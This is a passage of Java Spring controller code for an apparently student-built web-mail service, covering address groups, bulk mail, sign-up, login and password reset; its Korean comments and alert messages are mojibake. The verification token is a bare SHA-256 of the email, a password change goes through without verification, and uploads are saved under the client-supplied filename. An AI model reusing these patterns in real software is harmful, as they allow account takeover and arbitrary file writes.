String email = (String) session.getAttribute("group_email");
model.addAttribute("group_seq", dto.getGroup_seq());
model.addAttribute("email",email);
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
return "guest_addr_insert";
}else {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out_p = null;
try {
out_p = response.getWriter();
out_p.println("<script>alert('ํ์ผ์ ๋ฃ์ด์ฃผ์ธ์');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out_p.flush();
}
String email = (String) session.getAttribute("group_email");
model.addAttribute("group_seq", dto.getGroup_seq());
model.addAttribute("email",email);
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
return "guest_addr_insert";
}
}
@RequestMapping(value="myaddr_insert.do", method=RequestMethod.POST)
public String myaddr(Model model, AddressDto dto, HttpSession session, int members_seq, HttpServletResponse response, MultipartHttpServletRequest multi) throws IOException {
if(!(dto.getCustomer_email().equals("")&&dto.getCustomer_name().equals(""))) {
dto.setMembers_seq(members_seq);
int check = biz.address_check(dto);
if(check==0) {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out_p = null;
try {
out_p = response.getWriter();
out_p.println("<script>alert('์ด๋ฏธ ์กด์ฌํ๋ ์ด๋ฉ์ผ์ด์์.');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out_p.flush();
}
String email = (String) session.getAttribute("group_email");
model.addAttribute("group_seq", dto.getGroup_seq());
model.addAttribute("email",email);
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
return "guest_addr_insert";
}else {
int res = biz.insert(dto);
String email = (String) session.getAttribute("group_email");
System.out.println(res+"-------------------!!!!!!!!!!!");
if(res==0) {
model.addAttribute("group_seq", dto.getGroup_seq());
model.addAttribute("email",email);
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
return "guest_addr_insert";
}
model.addAttribute("group_seq", dto.getGroup_seq());
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
model.addAttribute("email", email);
return "guest_addr_insert";
}
}else {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out_p = null;
try {
out_p = response.getWriter();
out_p.println("<script>alert('๊ตฌ๋
์๋ฅผ ์
๋ ฅํด์ฃผ์ธ์.');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out_p.flush();
}
String email = (String) session.getAttribute("group_email");
model.addAttribute("group_seq", dto.getGroup_seq());
model.addAttribute("email",email);
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
return "guest_addr_insert";
}
}
// ๊ทธ๋ฃน ๋ง๋ค๊ธฐ
@RequestMapping(value = "group_mail.do")
public String group_addressMail(Model model, HttpSession session, String email, Address_GroupDto dto) {
int members_seq = reg_biz.member_seq_return(email);
List<Address_GroupDto> group_list = biz.selectList_Group(members_seq);
session.setAttribute("group_email", email);
model.addAttribute("member_seq", members_seq);
model.addAttribute("email", email);
for (int i = 0; i < group_list.size(); i++) {
int res = biz.group_admin_size(group_list.get(i).getGroup_seq());
dto.setGroup_seq(group_list.get(i).getGroup_seq());
dto.setMember_seq(members_seq);
dto.setCnt(res);
int num = biz.group_cnt(dto);
System.out.println("cnt์
๋ฐ์ดํธ"+num);
}
model.addAttribute("list", biz.selectList_Group(members_seq));
return "group_addressEmail";
}
//๊ทธ๋ฃน ์ธ์ํธ
@RequestMapping(value = "group.do")
public String group_insert(Address_GroupDto dto, Model model, HttpSession session) {
int res = biz.group_insert(dto);
List<Address_GroupDto> group_list = biz.selectList_Group(dto.getMembers_seq());
String email = (String) session.getAttribute("group_email");
System.out.println("๊ทธ๋ฃน๊ทธ๋ฃน" + res);
model.addAttribute("member_seq", dto.getMembers_seq());
model.addAttribute("email", email);
for (int i = 0; i < group_list.size(); i++) {
int ress = biz.group_admin_size(group_list.get(i).getGroup_seq());
dto.setGroup_seq(group_list.get(i).getGroup_seq());
dto.setMember_seq(dto.getMembers_seq());
dto.setCnt(ress);
int num = biz.group_cnt(dto);
System.out.println("cnt์
๋ฐ์ดํธ"+num);
}
model.addAttribute("list", group_list);
return "group_addressEmail";
}
//๊ทธ๋ฃน์ด๋ฆ ์
๋ฐ์ดํธ
@RequestMapping(value="group_update.do")
public String group_update(Address_GroupDto dto, Model model, HttpSession session) {
String email = (String) session.getAttribute("group_email");
List<Address_GroupDto> group_list = biz.selectList_Group(dto.getMembers_seq());
biz.update_group(dto);
model.addAttribute("member_seq", dto.getMembers_seq());
model.addAttribute("email", email);
for (int i = 0; i < group_list.size(); i++) {
int ress = biz.group_admin_size(group_list.get(i).getGroup_seq());
dto.setGroup_seq(group_list.get(i).getGroup_seq());
dto.setMember_seq(dto.getMembers_seq());
dto.setCnt(ress);
int num = biz.group_cnt(dto);
System.out.println("cnt์
๋ฐ์ดํธ"+num);
}
model.addAttribute("list", biz.selectList_Group(dto.getMembers_seq()));
return "group_addressEmail";
}
//์ฃผ์๋ก ์ด๋ฆ ์
๋ฐ์ดํธ
@RequestMapping(value="addr_update.do")
public String address_update(HttpSession session,Model model,AddressDto dto) {
String email = (String) session.getAttribute("group_email");
int members_seq = reg_biz.member_seq_return(email);
dto.setMembers_seq(members_seq);
biz.update(dto);
model.addAttribute("group_seq", dto.getGroup_seq());
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
model.addAttribute("email", email);
return "guest_addr_insert";
}
//๊ทธ๋ฃน ์ญ์ ๋ฒํผ ํด๋ฆญ์
@RequestMapping(value="delete_dd.do")
public String group_delete(HttpSession session, Model model, int group_seq,Address_GroupDto dto, AddressDto dto2) {
List<String> cus_seq = null;
String email = (String) session.getAttribute("group_email");
int members_seq = reg_biz.member_seq_return(email);
System.out.println(members_seq+"member_seq-----------");
dto.setGroup_seq(group_seq); dto.setMember_seq(members_seq);
System.out.println(group_seq+"@@@@@@"+members_seq);
dto2.setGroup_seq(group_seq); dto2.setMembers_seq(members_seq);
cus_seq = biz.selectOne_cus_seq(dto2);
for(int j = 0; j<cus_seq.size(); j++) {
dto2.setGroup_seq(group_seq); dto2.setMembers_seq(members_seq);
dto2.setCustomer_seq(Integer.parseInt(cus_seq.get(j)));
biz.delete_addr(dto2);
}
int res = biz.delete_group(dto);
List<Address_GroupDto> group_list = biz.selectList_Group(members_seq);
model.addAttribute("member_seq", members_seq);
model.addAttribute("email", email);
for (int i = 0; i < group_list.size(); i++) {
int ress = biz.group_admin_size(group_list.get(i).getGroup_seq());
dto.setGroup_seq(group_list.get(i).getGroup_seq());
dto.setMember_seq(members_seq);
dto.setCnt(ress);
int num = biz.group_cnt(dto);
System.out.println("cnt์
๋ฐ์ดํธ"+num);
}
model.addAttribute("list", biz.selectList_Group(members_seq));
return "group_addressEmail";
}
//์ฃผ์๋ก์์ ์ญ์ ๋ฒํผ ํด๋ฆญ์
@RequestMapping(value="delete_ad.do")
public String address_delete(HttpSession session, Model model, int group_seq, AddressDto dto, int customer_seq) {
String email = (String) session.getAttribute("group_email");
int members_seq = reg_biz.member_seq_return(email);
dto.setMembers_seq(members_seq);
dto.setGroup_seq(group_seq);
dto.setCustomer_seq(customer_seq);
biz.delete_addr(dto);
model.addAttribute("group_seq", group_seq);
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
model.addAttribute("email", email);
return "guest_addr_insert";
}
//check๋ฐ์ค ์ ํ,์ ์ฒด์ญ์ ๊ฐ๋ฅ
@RequestMapping(value="delete_addr.do")
public String delete_addr(int[] delete_addr, int group_seq, HttpSession session, AddressDto dto, Model model) {
String email = (String) session.getAttribute("group_email");
int members_seq = reg_biz.member_seq_return(email);
System.out.println("----------");
System.out.println(group_seq);
for(int i = 0; i<delete_addr.length; i++ ) {
dto.setMembers_seq(members_seq);
dto.setGroup_seq(group_seq);
dto.setCustomer_seq(delete_addr[i]);
String addr_emails = biz.selectOne_email(dto);
biz.delete_addr(dto);
}
model.addAttribute("group_seq", group_seq);
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
model.addAttribute("email", email);
return "guest_addr_insert";
}
//check๋ฐ์ค ๊ตฌ๋
์ seq๊ฐ์ ธ์์ email์ ๋๋น์์ ๋ฝ์
@RequestMapping(value="addr_check.do")
public String addr_check(int[] all_value, int group_seq, HttpSession session, AddressDto dto, Model model) {
List<String> addr_email = new ArrayList<String>();
String email = (String) session.getAttribute("group_email");
int members_seq = reg_biz.member_seq_return(email);
session.setAttribute("mno", members_seq);
for(int i=0; i<all_value.length; i++) {
System.out.println(all_value[i]+"\t"+members_seq+"\t"+group_seq);
dto.setMembers_seq(members_seq);
dto.setGroup_seq(group_seq);
dto.setCustomer_seq(all_value[i]);
String addr_emails = biz.selectOne_email(dto);
System.out.println(addr_emails);
addr_email.add(addr_emails);
}
System.out.println(addr_email+"list๊ฐ");
model.addAttribute("emails_fuc", addr_email);
System.out.println(addr_email+"์ผ์์์์์์");
model.addAttribute("email", email);
return "emailTemplate";
}
@RequestMapping(value="tests.do", method=RequestMethod.POST)
public String tests(HttpServletResponse response, TestDto dto) throws MessagingException, IOException {
System.out.println(dto.getEmail());
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8");
String setfrom = "jea830@hanmail.net";
List<String> tomail = dto.getEmail(); // ๋ฐ๋ ์ฌ๋ ์ด๋ฉ์ผ
String title = dto.getTitle(); // ์ ๋ชฉ
String content = dto.getContent(); // ๋ด์ฉ
for(int i = 0; i<tomail.size(); i++) {
messageHelper.setFrom(setfrom); // ๋ณด๋ด๋์ฌ๋ ์๋ตํ๊ฑฐ๋ ํ๋ฉด ์ ์์๋์ ์ํจ
messageHelper.setTo(dto.getEmail().get(i));; // ๋ฐ๋์ฌ๋ ์ด๋ฉ์ผ
messageHelper.setSubject(title); // ๋ฉ์ผ์ ๋ชฉ์ ์๋ต์ด ๊ฐ๋ฅํ๋ค
messageHelper.setText(content, true); // html์ด๋ผ๋ ์๋ฏธ๋ก true๋ฅผ ์จ์ค๋ค.
mailSender.send(message);
}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out_p = null;
out_p = response.getWriter();
out_p.println("<script>alert('๋ฉ์ผ์ ๋ณด๋์ด์!');</script>");
out_p.flush();
return "redirect: /board/mailbox/getList";
}
}```
RegisterBiz.java
```package com.tmail.board.Biz;
import com.tmail.board.Dto.RegisterDto;
public interface RegisterBiz {
public int joinInsert(RegisterDto dto);
public int loginSelect(String email,String pw);
public int joinCheck(String email, String pw);
public int pass_ck(String email);
public void pass_complate(String email);
public int pass_change(RegisterDto dto);
public String mail_check(String email);
public int member_seq_return(String email);
public String master_name_ck(String email);
public RegisterDto getMember(int members_seq);
}```
RegisterController.java
```package com.tmail.board.controller;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.util.List;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeUtility;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.io.FileSystemResource;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import org.springframework.web.util.WebUtils;
import com.tmail.board.Biz.MailboxBiz;
import com.tmail.board.Biz.PersonalBiz;
import com.tmail.board.Biz.RegisterBiz;
import com.tmail.board.Dto.Criteria;
import com.tmail.board.Dto.MailboxDto;
import com.tmail.board.Dto.PersonalDto;
import com.tmail.board.Dto.RegisterDto;
import com.tmail.board.sha256.SHA256;
/**
* Handles requests for the application home page.
*/
@Controller
public class RegisterController {
// ๊ฐ์ฃผ์
@Autowired
private JavaMailSender mailSender;
@Autowired
private MailboxBiz mailboxBiz;
//์ฃผ์๋ก
@RequestMapping(value="addressForm.do")
public String addressForm() {
return "address";
}
@RequestMapping(value = "main.do")
public String main() {
return "main";
}
// ๋ก๊ทธ์ธ ์ฑ๊ณต์ ๋ค์ด๊ฐ ๋ฉ์ธ
@RequestMapping(value = "main2.do")
public String main2(HttpSession session, Model model, MailboxDto mail, Criteria cri) {
String email = (String) session.getAttribute("email_login");
model.addAttribute("email", email);
model.addAttribute("mail", mailboxBiz.getList(cri, email));
return "main2";
}
// ๋ก๊ทธ์์
@RequestMapping(value = "logout.do")
public String logout(HttpSession session, HttpServletResponse response) {
session.setAttribute("email_login", null);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('๋ค์์ ๋ ๋ฐฉ๋ฌธํด์ฃผ์ธ์');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
return "main";
}
// mailForm
@RequestMapping(value = "mailForm.do")
public String mailForm() {
return "mailForm";
}
// mailSending ์ฝ๋
@RequestMapping(value = "mailSending.do", method = RequestMethod.POST)
public String mailSending(Model model, MultipartHttpServletRequest multi) {
InputStream inputStream = null;
OutputStream outputStream = null;
// ํ์ผ๊ฒฝ๋ก
String path = "";
try {
path = WebUtils.getRealPath(multi.getSession().getServletContext(), "/storage");
} catch (FileNotFoundException e1) {
e1.printStackTrace();
}
System.out.println(path);
// ํ์ผ๋ค์ Listํ์์ผ๋ก ๋ณด๊ด
List<MultipartFile> files = multi.getFiles("files");
File file = new File(path);
// ํ์ผ์ด ์๋ค๋ฉด ๋๋ ํ ๋ฆฌ๋ฅผ ์์ฑ
if (file.exists() == false) {
file.mkdirs();
}
// ๋ฉ์ผ๋ณด๋ด๊ธฐ๊ธฐ๋ฅ
String setfrom = "jea830@hanmail.net";
String tomail = multi.getParameter("tomail"); // ๋ฐ๋ ์ฌ๋ ์ด๋ฉ์ผ
String title = multi.getParameter("title"); // ์ ๋ชฉ
String content = multi.getParameter("content"); // ๋ด์ฉ
File filename = null;
try {
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8");
for (int i = 0; i < files.size(); i++) {
inputStream = files.get(i).getInputStream();
System.out.println(files.get(i).getOriginalFilename() + " ์
๋ก๋");
filename = new File(path + "/" + files.get(i).getOriginalFilename());
if (!filename.exists()) {
filename.createNewFile();
}
outputStream = new FileOutputStream(filename);
int read = 0;
byte[] b = new byte[(int) files.get(i).getSize()];
while ((read = inputStream.read(b)) != -1) {
outputStream.write(b, 0, read);
}
// ํ์ผ์ฒจ๋ถ
FileSystemResource fsr = new FileSystemResource(filename);
messageHelper.addAttachment(MimeUtility.encodeText(files.get(i).getOriginalFilename(), "UTF-8", "B"),
fsr);
}
messageHelper.setFrom(setfrom); // ๋ณด๋ด๋์ฌ๋ ์๋ตํ๊ฑฐ๋ ํ๋ฉด ์ ์์๋์ ์ํจ
messageHelper.setTo(tomail); // ๋ฐ๋์ฌ๋ ์ด๋ฉ์ผ
messageHelper.setSubject(title); // ๋ฉ์ผ์ ๋ชฉ์ ์๋ต์ด ๊ฐ๋ฅํ๋ค
messageHelper.setText(content, true); // ๋ฉ์ผ ๋ด์ฉ-
mailSender.send(message);
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
inputStream.close();
outputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
return "suc";
}
//-------------------- ํ์๊ฐ์
@Autowired
private RegisterBiz biz;
@RequestMapping(value = "joinform.do")
public String joinform() {
return "joinform";
}
@RequestMapping(value = "join.do", method = RequestMethod.POST)
public String join(RegisterDto dto, HttpServletResponse response, HttpSession session) throws Exception {
System.out.println("dto์ ๋ด๊ฒจ์ง ์ด๋ฆ" + dto.getMembers_name());
int join_chek = biz.joinCheck(dto.getMembers_email(), dto.getMembers_pw());
System.out.println("์ฒดํฌ์ฒดํฌ : " + join_chek);
System.out.println("dto์ ๋ฃ์ด์ก๋์ง ํ์ธ" + dto.getMembers_name() + dto.getMembers_email() + dto.getMembers_pw());
if (join_chek == 1) {// ๋ฉํผ์์ sql๋ฌธ์ด ์ฑ๊ณตํ๋ฉด 1์ ๋ฐํํ์ง๋ง, ์คํจํ๋ฉด 0 (์ค๋ณต์ด ์์ด์ผํ๊ธฐ์ 0์ด๋ฉด ์ฒ๋ฆฌํ๋๋กํจ)
System.out.println("๊ฐ์ฃผ์
๊ฐ๋ฅ");
int join_insert = biz.joinInsert(dto);// jsp์์ ๋ฐ์๊ฐ ์ธ์ํธ
if (join_insert == 0) {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('๊ฐ์
์ฒ๋ฆฌ์ค๋ฅ');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
return "joinform";// ์คํจ์ ๋ค์ ํ์๊ฐ์
์ฐฝ์ผ๋ก
} else if (join_insert == 1) { // ์ฑ๊ณตํ๋ค๋ ๊ฒ์ ์๋ฆฌ๊ธฐ ์ํด 1์ด ๋ณด๋ด์ง๊ฑฐ์
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8");
String to = dto.getMembers_email();
String host = "http://localhost:8787/board/";
String setfrom = "jea830@hanmail.net";
String tomail = dto.getMembers_email(); // ๋ฐ๋ ์ฌ๋ ์ด๋ฉ์ผ
String title = "[ํฌ๋ฉ์ผ] ์๋
ํ์ธ์ ์ธ์ฆ๋ฉ์ผ์ด ๋์ฐฉํ์ด์!"; // ์ ๋ชฉ
String content = "๋ค์ ๋งํฌ์ ์ ์ํ์ฌ ์ด๋ฉ์ผ ํ์ธ์ ์งํํ์ธ์." + "<a href='" + host + "join_email_complate.do?join_code="
+ new SHA256().getSHA256(to) + "'>์ด๋ฉ์ผ ์ธ์ฆํ๊ธฐ</a>"; // ๋ด์ฉ
messageHelper.setFrom(setfrom); // ๋ณด๋ด๋์ฌ๋ ์๋ตํ๊ฑฐ๋ ํ๋ฉด ์ ์์๋์ ์ํจ
messageHelper.setTo(tomail); // ๋ฐ๋์ฌ๋ ์ด๋ฉ์ผ
messageHelper.setSubject(title); // ๋ฉ์ผ์ ๋ชฉ์ ์๋ต์ด ๊ฐ๋ฅํ๋ค
messageHelper.setText(content, true); // html์ด๋ผ๋ ์๋ฏธ๋ก true๋ฅผ ์จ์ค๋ค.
mailSender.send(message);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out_p = null;
try {
out_p = response.getWriter();
out_p.println("<script>alert('์ธ์ฆ ๋ฉ์ผ์ ๋ณด๋์ด์!');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out_p.flush();
}
session.setAttribute("join_email", to);
return "main";
}
} else if (join_chek == 0) {// ์ค๋ณต์๋ฌ
System.out.println("์ค๋ณต๋์ด์!!!");
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('์ด๋ฏธ ๊ฐ์
ํ์ ์ ๋ณด์
๋๋ค');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
return "joinform";
}
return "joinform";
}
@RequestMapping(value = "join_email_complate.do")
public String join_email_complate(HttpServletRequest request, HttpSession session, Model model,
HttpServletResponse response) throws UnsupportedEncodingException {
request.setCharacterEncoding("UTF-8");
String code = request.getParameter("join_code");
String session_mail = (String) session.getAttribute("join_email");
try {
boolean rightCode = (new SHA256().getSHA256(session_mail).equals(code)) ? true : false;
if (rightCode == true) {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('์ธ์ฆ์ด ์๋ฃ๋์์ต๋๋ค.');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
biz.pass_complate(session_mail);
model.addAttribute("email", session_mail);
return "main2";
}
} catch (Exception e) {
e.printStackTrace();
} finally {
session.setAttribute("join_email", null);
}
return "error"; // ์ ๋ ์๋ชป๋ ์ฝ๋๊ฐ ์ฌ์ผ์ด ์์ง๋ง.. ๋ง์ฝ ์๋ชป์จ๋ค๋ฉด ์๋ฌ์ฐฝ์ ๋์ฐ๊ฒ ํด์ค๋ค.
}
// ---------------------๋ก๊ทธ์ธ
@RequestMapping(value = "loginform.do")
public String loginform() {
return "login";
}
@RequestMapping(value = "login.do", method=RequestMethod.POST)
public String login(RegisterDto dto, HttpSession session, Model model, HttpServletResponse response, MailboxDto mail, Criteria cri) throws Exception {
System.out.println("๋ก๊ทธ์ธ ์ ์ง ์ฒดํฌ ์ฌ๋ถ" + dto.getLogin_check());
System.out.println("๋ด๊ฐ๋ณด๋ธ ๋น๋ฒ๊ฐ : " + dto.getMembers_pw());
int res = biz.loginSelect(dto.getMembers_email(), dto.getMembers_pw());
System.err.println("์ฑ๊ณต์ค ์คํจ : " + res);
String mail_ck = biz.mail_check(dto.getMembers_email());
System.out.println(mail_ck+"๋ญ์ง,,,,,");
if ("true".equals(mail_ck)) {
if (res == 0) {
System.out.println("๋ก๊ทธ์ธ ์คํจ");
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('๋ก๊ทธ์ธ ์ ๋ณด๊ฐ ์๋ชป๋์ด์');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
return "login";
} else if (res == 1) {
System.out.println("๋ก๊ทธ์ธ ์ฑ๊ณต");
session.setAttribute("email_login", dto.getMembers_email());
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('ํ์ํฉ๋๋ค~ ํฌ๋ฉ์ผ์
๋๋ค.');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
model.addAttribute("mno", biz.member_seq_return(dto.getMembers_email()));
model.addAttribute("email", dto.getMembers_email());
return "main2";
}
} else if ("false".equals(mail_ck)) { //๋ฉ์ผ ์ธ์ฆ์คํจ
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('์ธ์ฆ์ ํ์์
๋๋ค!');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
return "login";
} else{
System.out.println("๋ก๊ทธ์ธ ์คํจ์คํจ");//๋ก๊ทธ์ธ์คํจ
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('๋ก๊ทธ์ธ ์คํจ');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
return "login";
}
return "login";
}
// ---------------๋น๋ฐ๋ฒํธ ์ฒดํฌ
@RequestMapping(value = "password.do")
public String pass() {
return "password_ck";
}
@RequestMapping(value = "pass.do")
public String pass_ck(RegisterDto dto, HttpSession session, Model model, HttpServletResponse response) throws Exception {
int res = biz.pass_ck(dto.getMembers_email());
if (res == 1) {
MimeMessage message = mailSender.createMimeMessage();
MimeMessageHelper messageHelper = new MimeMessageHelper(message, true, "UTF-8");
System.out.println("์ด๋ฉ์ผ ์กด์ฌ" + res);
String to = dto.getMembers_email();
String host = "http://localhost:8787/board/";
String setfrom = "jea830@hanmail.net";
String tomail = dto.getMembers_email(); // ๋ฐ๋ ์ฌ๋ ์ด๋ฉ์ผ
String title = "[ํฌ๋ฉ์ผ] ๋น๋ฐ๋ฒํธ๋ฅผ ์๋ก ์ค์ ํ์ธ์"; // ์ ๋ชฉ
String content = "๋ค์ ๋งํฌ์ ์ ์ํ์ฌ ์ด๋ฉ์ผ ํ์ธ์ ์งํํ์ธ์." + "<a href='" + host + "email_complate.do?code="
+ new SHA256().getSHA256(to) + "'>์ด๋ฉ์ผ ์ธ์ฆํ๊ธฐ</a>"; // ๋ด์ฉ
messageHelper.setFrom(setfrom); // ๋ณด๋ด๋์ฌ๋ ์๋ตํ๊ฑฐ๋ ํ๋ฉด ์ ์์๋์ ์ํจ
messageHelper.setTo(tomail); // ๋ฐ๋์ฌ๋ ์ด๋ฉ์ผ
messageHelper.setSubject(title); // ๋ฉ์ผ์ ๋ชฉ์ ์๋ต์ด ๊ฐ๋ฅํ๋ค
messageHelper.setText(content, true); // html์ด๋ผ๋ ์๋ฏธ๋ก true๋ฅผ ์จ์ค๋ค.
mailSender.send(message);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("<script>alert('์ด๋ฉ์ผ์ ํ์ธํด์ฃผ์ธ์'); location.href='password.do';</script>");
out.flush();
session.setAttribute("email", dto.getMembers_email());
} else if (res == 0) {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('๋ฉ์ผ ์ ๋ณด๊ฐ ์๋ชป๋์ด์');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
model.addAttribute("mail_n", res);
return "password_ck";
}
return "password_ck";
}
@RequestMapping(value = "email_complate.do")
public String mail_com(HttpServletRequest request, HttpSession session, Model model, HttpServletResponse response)
throws UnsupportedEncodingException {
request.setCharacterEncoding("UTF-8");
String code = request.getParameter("code");
String session_mail = (String) session.getAttribute("email");
boolean rightCode = (new SHA256().getSHA256(session_mail).equals(code)) ? true : false;
if (rightCode == true) {// ์ธ์ฆ์ฝ๋์ ๊ฐ๋ค๋ฉด..
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('์ธ์ฆํด์ฃผ์
์ ๊ฐ์ฌํฉ๋๋ค.');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
model.addAttribute("email", session_mail);
return "pass_change";
} else {// ์ฌ๊ธฐ๊น์ง ์ฌ์ผ์ ์์๋ฏ
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8");
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('์๋ชป๋ ์ธ์ฆ์ด์์!');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
return "password_ck";
}
}
@RequestMapping(value = "pass_change_ck.do")
public String pass_change_ck(RegisterDto dto, HttpSession session, HttpServletResponse response, Model model) {
int result = biz.pass_change(dto);
if (result == 1) {// ๋น๋ฐ๋ฒํธ๊ฐ ์๋ฐ๋๋ฉด
session.setAttribute("email", null);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('์ด์ ๊ผญ ๊ธฐ์ตํ์ธ์!');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
System.out.println(result);
return "main";
} else { // ์ฌ๊ธฐ๊น์ง ์ฌ์ผ์ ์์ง๋ง ํน์..์๋๋ฉด
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
out.println("<script>alert('ํจ์ค์๋ ์ค๋ฅ..๋ค์์ ์ด์ฃผ์ธ์');</script>");
} catch (IOException e) {
e.printStackTrace();
} finally {
out.flush();
}
String email = (String) session.getAttribute("email");
model.addAttribute("email", email);
return "pass_change";
}
}
@Autowired
private PersonalBiz biz_p;
@RequestMapping(value="update1.do")
public String personal(String email, Model model, HttpSession httpSession) {
model.addAttribute("email", email);
httpSession.setAttribute("personalEmail", email);
return "personal1";
}
@RequestMapping(value="personal1.do", method = RequestMethod.POST)
public String personal1(PersonalDto dto, HttpServletResponse response, Model model) {
int result = biz_p.person(dto);
//๋น๋ฐ๋ฒํธ ํ์ธํด์ฃผ๋ ค๊ณ ๋ง์ผ๋ฉด 1 / ์๋๋ฉด 0
if(result == 1) {
model.addAttribute("personalList", biz_p.personalList(dto));
return "personal2";
}else if(result != 1) {
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8"); // ํ๊ธ๊นจ์ง ๋ฐฉ์ง
PrintWriter out = null;
try {
out = response.getWriter();
